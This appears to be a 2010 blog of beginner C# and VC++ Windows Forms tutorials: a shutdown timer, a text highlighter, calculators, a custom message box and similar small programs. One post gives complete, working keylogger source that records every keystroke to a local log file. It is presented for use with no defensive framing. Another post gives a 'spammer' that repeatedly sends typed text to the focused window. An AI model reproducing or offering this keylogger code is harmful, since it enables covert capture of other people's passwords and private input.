    // 1 - Shutdown; 2 - Restart; 0 - Log Off; 4 - Forced Log Off; 5 - Forced Shutdown; 6 - Forced Restart; 8 - Power Off; 12 - Forced Power Off.
    ManagementBaseObject shutdownparam = win32.GetMethodParameters("Win32Shutdown");
    shutdownparam["Flags"] = flags;
    shutdownparam["Reserved"] = "0";
    foreach (ManagementObject mObj in win32.GetInstances())
    {
        shutdown = mObj.InvokeMethod("Win32Shutdown", shutdownparam, null);  
    }
}

///////// Button "Abort" ////////////
timer1.Stop(); toolStripStatusLabel1.Text = "Task Aborted";


//////// Timer //////////////////////
oldtime = time;
time = (Convert.ToInt32(time) - 1).ToString();
toolStripStatusLabel1.Text = toolStripStatusLabel1.Text.Replace(oldtime, time);
if (time == "0") { Shutdown(); timer1.Stop(); }

Or download the solution

Friday, September 3, 2010

C# Tutorial: Create a Simple Shutdown Manager

Here is the code

using System.Diagnostics;
///////////////////////////////////////////
String shutdown;

/////////// Start Button //////////////////
Process.Start("Shutdown", shutdown + " -t " + textBox1.Text + @" -c ""Windows is going to shut down!"""); // -t = time , -c = comments
timer1.Start(); label3.Text = textBox1.Text;
 
/////////// Abort Button //////////////////
Process.Start("Shutdown", "-a"); timer1.Stop(); // -a = abort

/// ComboBox_SelectedIndexChanged Event ///
switch (comboBox1.SelectedIndex)
{
    case 0: shutdown = "-s"; break; // -s = shutdown
    case 1: shutdown = "-r"; break; // -r = restart
    case 2: shutdown = "-l"; break; // -l = log off
}

/////////// Timer_Tick Event //////////////
label3.Text = (Convert.ToInt32(label3.Text) - 1).ToString();

// NOTE: Exiting the program will NOT abort the shutdown! You must press the "Abort" button before exit!
// If you forgot to abort the shutdown don't worry! Open Command Prompt and type in "shutdown -a" (without quotes)!

Or download the solution

Thursday, September 2, 2010

C# Tutorial: Searching words in a text and highlighting them

Here is the code

int index = 0; string temp = richTextBox1.Text; richTextBox1.Text = ""; richTextBox1.Text = temp;

while (index < richTextBox1.Text.LastIndexOf(textBox1.Text))
{
    // Searches the text in a RichTextBox control for a string within a range of text withing the control and with specific options applied to the search.
    richTextBox1.Find(textBox1.Text, index, richTextBox1.TextLength, RichTextBoxFinds.None);
    // Selection Color. This is added automatically when a match is found.
    richTextBox1.SelectionBackColor = Color.Yellow; 
    // After a match is found the index is increased so the search won't stop at the same match again. This makes possible to highlight same words at the same time.
    index = richTextBox1.Text.IndexOf(textBox1.Text, index) + 1; 
}

Or download the solution

Saturday, August 28, 2010

Record Source games in 1280×720 Resolution


Start Steam -> Go to Library -> Right click on any Source game and go to Properties -> Set launch options ->
-> Type in "-w 1280 -h 720"(without quotes) -> Hit OK -> Play the game.




NOTE: If you already have a 1280 width, just type in "-h 720".

Friday, August 6, 2010

C# Tutorial: Random Number Generator

Here is the code

int count; Random rnd = new Random();
///////////////////////////////////////////////
count = 0; label4.Text = ""; timer1.Start();
///////////////////////////////////////////////
++count;
label4.Text = rnd.Next(Convert.ToInt32(textBox1.Text), Convert.ToInt32(textBox2.Text)).ToString();
if (count > Convert.ToInt32(textBox3.Text)) { timer1.Stop(); label4.Text = "Your number is: " + label4.Text; }

Or download the solution

Sunday, July 18, 2010

C# Tutorial: Create your own Custom Message Box

Here is the code

static CustomMsgBox MsgBox; static DialogResult result = DialogResult.No;
////////////////////////////////////////////////////////////////////////////////
public static DialogResult Show(string Text, string Caption, string btnOK, string btnCancel)
{
     MsgBox = new CustomMsgBox();
     MsgBox.label1.Text = Text;
     MsgBox.button1.Text = btnOK;
     MsgBox.button2.Text = btnCancel;
     MsgBox.Text = Caption;
     result = DialogResult.No;
     MsgBox.ShowDialog();
     return result;
}
////////////////////////////////////////////////////////////////////////////////
result = DialogResult.Yes; MsgBox.Close();

Saturday, July 10, 2010

C# Tutorial: Standard Calculator

Here is the code

//System Media //
using System.Media;
//Declaration of variables //
int clear = 1; decimal result, mresult = 0; string op;
//Eval function //
decimal eval(string op)
{
      clear = 1;
      try
      {
           switch (op)
           {
                case "+": result = result + Convert.ToDecimal(label1.Text); break;
                case "-": result = result - Convert.ToDecimal(label1.Text); break;
                case "/": result = result / Convert.ToDecimal(label1.Text); break;
                case "*": result = result * Convert.ToDecimal(label1.Text); break;
                case "Mod": result = result % Convert.ToDecimal(label1.Text); break;
                default: result = Convert.ToDecimal(label1.Text); break;
            }
       }
       catch (System.OverflowException) { label2.Text = ""; label2.Text = "Overflow"; clear = 2; SystemSounds.Asterisk.Play(); }
       catch (System.DivideByZeroException) { label2.Text = ""; label2.Text = "Cannot divide by zero"; clear = 2; SystemSounds.Asterisk.Play(); }
       return result; 
}
//Clear function //
int Clear(int cl)
{
    switch (cl)
    {
        case 1:
        {
             label1.Text = "";
        }break;
        case 2:
        {
            label1.Text = ""; label2.Text = ""; op = "";
        }break;
        case 3:
        {
            label1.Text = ""; label2.Text = label2.Text.Remove(label2.Text.IndexOf('r'));  
        }break;
        case 4:
        {
            label1.Text = ""; label2.Text = label2.Text.Remove(label2.Text.IndexOf('s'));
        }break;
        case 5:
        {
            label1.Text = ""; label2.Text = label2.Text.Remove(label2.Text.LastIndexOf(' ') + 1);
        }break;
    }
    return 0;
}
//Button 0,1,2,3,4,5,6,7,8,9(replace the 0 with the other numbers) //
clear = Clear(clear);
if (label1.Text.Length < 28)
      label1.Text = label1.Text + "0";
else SystemSounds.Beep.Play();
//Button "." //
if (label1.Text.Contains('.'))
{
      SystemSounds.Beep.Play();
}
else label1.Text = label1.Text + ".";
//Button +,-,/,*,Mod(replace the + with the other operators) //
if (clear == 3 || clear == 4 || clear == 5)
      label2.Text = label2.Text + " + ";
else label2.Text = label2.Text + label1.Text + " + ";
label1.Text = eval(op).ToString();
op = "+";
//Button 1/x //
if (label2.Text.Contains("reciproc"))
{
      label2.Text = label2.Text.Insert(label2.Text.IndexOf('r'), "reciproc("); label2.Text = label2.Text.Insert(label2.Text.IndexOf(')'), ")");
}
else label2.Text = label2.Text + "reciproc(" + label1.Text + ")";
label1.Text = (1 / Convert.ToDecimal(label1.Text)).ToString(); clear = 3; 
//Button √ //
if (label2.Text.Contains("sqrt"))
{
     label2.Text = label2.Text.Insert(label2.Text.IndexOf('s'), "sqrt("); label2.Text = label2.Text.Insert(label2.Text.IndexOf(')'), ")");
}
else label2.Text = label2.Text + "sqrt(" + label1.Text + ")";
label1.Text = Math.Sqrt(Convert.ToDouble(label1.Text)).ToString(); clear = 4;
//Button % //
label1.Text = (result * Convert.ToDecimal(label1.Text) / 100).ToString();
label2.Text = label2.Text + label1.Text; clear = 5;
//Button ± //
if (label1.Text.Contains('-'))
{
     label1.Text = label1.Text.Remove(label1.Text.IndexOf('-'), 1);
}
else label1.Text = "-" + label1.Text;
//Button = //
if (clear != 3 && clear != 4 && clear != 5)
        label2.Text = label2.Text + label1.Text;
label1.Text = eval(op).ToString(); clear = 2;
//Button C //
Clear(1); clear = 1; label1.Text = "0";
//Button CE //
Clear(2); clear = 1; label1.Text = "0"; result = 0;
//Button MS //
mresult = Convert.ToDecimal(label1.Text); clear = 1; label3.Text = "M";
//Button MR //
label1.Text = mresult.ToString(); clear = 1;
//Button M+ //
mresult = mresult + Convert.ToDecimal(label1.Text); clear = 1; label3.Text = "M";
//Button M- //
mresult = mresult - Convert.ToDecimal(label1.Text); clear = 1; label3.Text = "M";
//Button MC //
mresult = 0; clear = 1; label3.Text = "";
//Label1 TextChanged Event //
if (label1.Text.Length <= 20)
{
     Font font = new Font("Consolas", 14, FontStyle.Regular); label1.Font = font;
}
else if (label1.Text.Length > 20 && label1.Text.Length <= 26)
{
     Font font = new Font("Consolas", 11, FontStyle.Regular); label1.Font = font;
}
else { Font font = new Font("Consolas", 9, FontStyle.Regular); label1.Font = font; }

Friday, June 4, 2010

How to create a simple Keylogger in VC++ 2008 [Windows FormsApplication]

Here is the code

#include <Windows.h>
#include <Winuser.h>
#undef GetCurrentDirectory
////////////////////////////////////
using namespace System::IO;
////////////////////////////////////
Keylogger();
////////////////////////////////////
wchar_t keyc; String^ path; int i;
  int save(int key)
  {
   StringWriter^ sw = gcnew StringWriter();
   path = String::Concat(Directory::GetCurrentDirectory(),"\\","LOG.txt");
   keyc = Convert::ToChar(key);
   sw->Write(keyc);
   if(key == VK_LBUTTON || key == VK_RBUTTON || key == 162 || key == 16 || key == 164 || key == 163 || key == 165)
    return 0;
   else if(key == VK_LSHIFT || key == VK_RSHIFT)
    File::AppendAllText(path,"[SHIFT]");
   else if(key == VK_CONTROL)
    File::AppendAllText(path,"[CTRL]");
   else if(key == VK_ESCAPE)
    File::AppendAllText(path,"[ESC]");
   else if(key == VK_END)
    File::AppendAllText(path,"[END]");
   else if(key == VK_HOME)
    File::AppendAllText(path,"[HOME]");
   else if(key == VK_DELETE)
    File::AppendAllText(path,"[DEL]");
   else if(key == VK_INSERT)
    File::AppendAllText(path,"[INS]");
   else if(key == VK_CAPITAL)
    File::AppendAllText(path,"[CAPSLOCK]");
   else if(key == VK_UP)
    File::AppendAllText(path,"[UP]");
   else if(key == VK_DOWN)
    File::AppendAllText(path,"[DOWN]");
   else if(key == VK_LEFT)
    File::AppendAllText(path,"[LEFT]");
   else if(key == VK_RIGHT)
    File::AppendAllText(path,"[RIGHT]");
   else if(key == VK_TAB)
    File::AppendAllText(path,"[TAB]");
   else if(key == VK_BACK)
    File::AppendAllText(path,"[BACKSPACE]");
   else if(key == VK_RETURN)
   { 
    File::AppendAllText(path,"[ENTER]");
           sw->WriteLine(); File::AppendAllText(path,sw->ToString());   
   }
   else if(key == VK_MENU)
    File::AppendAllText(path,"[ALT]");
   else if(key == VK_NUMPAD0)
    File::AppendAllText(path,"0");
   else if(key == VK_NUMPAD1)
    File::AppendAllText(path,"1");
   else if(key == VK_NUMPAD2)
    File::AppendAllText(path,"2");
   else if(key == VK_NUMPAD3)
    File::AppendAllText(path,"3");
   else if(key == VK_NUMPAD4)
    File::AppendAllText(path,"4");
   else if(key == VK_NUMPAD5)
    File::AppendAllText(path,"5");
   else if(key == VK_NUMPAD6)
    File::AppendAllText(path,"6");
   else if(key == VK_NUMPAD7)
    File::AppendAllText(path,"7");
   else if(key == VK_NUMPAD8)
    File::AppendAllText(path,"8");
   else if(key == VK_NUMPAD9)
    File::AppendAllText(path,"9");
   else if(key == VK_MULTIPLY)
    File::AppendAllText(path,"*");
   else if(key == VK_ADD)
    File::AppendAllText(path,"+");
   else if(key == VK_OEM_COMMA)
    File::AppendAllText(path,",");
   else if(key == VK_SUBTRACT || key == 189)
    File::AppendAllText(path,"-");
   else if(key == VK_OEM_PERIOD || key == 110)
    File::AppendAllText(path,".");
   else if(key == VK_DIVIDE)
    File::AppendAllText(path,"/");
   else if(key == VK_OEM_1)
    File::AppendAllText(path,";");
   else if(key == VK_OEM_2)
    File::AppendAllText(path,"/");
   else if(key == VK_OEM_3)
    File::AppendAllText(path,"~");
   else if(key == VK_OEM_4)
    File::AppendAllText(path,"[");
   else if(key == VK_OEM_5)
    File::AppendAllText(path,"\\");
   else if(key == VK_OEM_6)
    File::AppendAllText(path,"]");
   else if(key == 187)
    File::AppendAllText(path,"=");
   else if(key == 222)
    File::AppendAllText(path,"'");
   else if(key == VK_NUMLOCK)
    File::AppendAllText(path,"[NUMLOCK]");
   else if(key == VK_LWIN || key == VK_RWIN)
    File::AppendAllText(path,"[WINDOWS]");
   else
    File::AppendAllText(path,sw->ToString());
   return 0;
  }
  void Keylogger()
  {
   while(true)
   {
    for(i=0; i<=255; i++)
    {
     if(GetAsyncKeyState(i) == -32767)
      save(i);
    }
   }
  }

How to use Multiple Forms in VC++ 2008 [Windows Forms Application]

Here is the code

//First include the second form
#include "Form2.h"

//Button "Click Me"
Form2^ form2 = gcnew Form2();
form2->Show();

How to create a Simple Spammer in VC++ 2008 [Windows Forms Application]

Here is the code

//Button "Start"
timer1->Start();

//Button "Stop"
timer1->Stop();

//Timer
timer1->Interval = System::Convert::ToInt32(textBox2->Text);
SendKeys::Send(textBox1->Text);
SendKeys::Send("{ENTER}");

How to create a Calculator in VC++ 2008 [Windows Forms Application]

Here is the code

//First declare these variables
char c; double x,y,d;

//Button '+'
this->label1->Text = "+"; c='+';

//Button '-'
this->label1->Text = "-"; c='-';

//Button 'x'
this->label1->Text = "x"; c='x';

//Button '/'
this->label1->Text = "/"; c='/';

//Button '='
x = System::Convert::ToInt32(this->textBox1->Text);
y = System::Convert::ToInt32(this->textBox2->Text);
switch(c)
{
case '+': d = x + y; break;
case '-': d = x - y; break;
case 'x': d = x * y; break;
case '/': d = x / y; break;
}
this->label2->Text = System::Convert::ToString(d);

//Button 'Clear'
this->textBox1->Text = ""; this->textBox2->Text = "";
this->label1->Text = ""; this->label2->Text = "";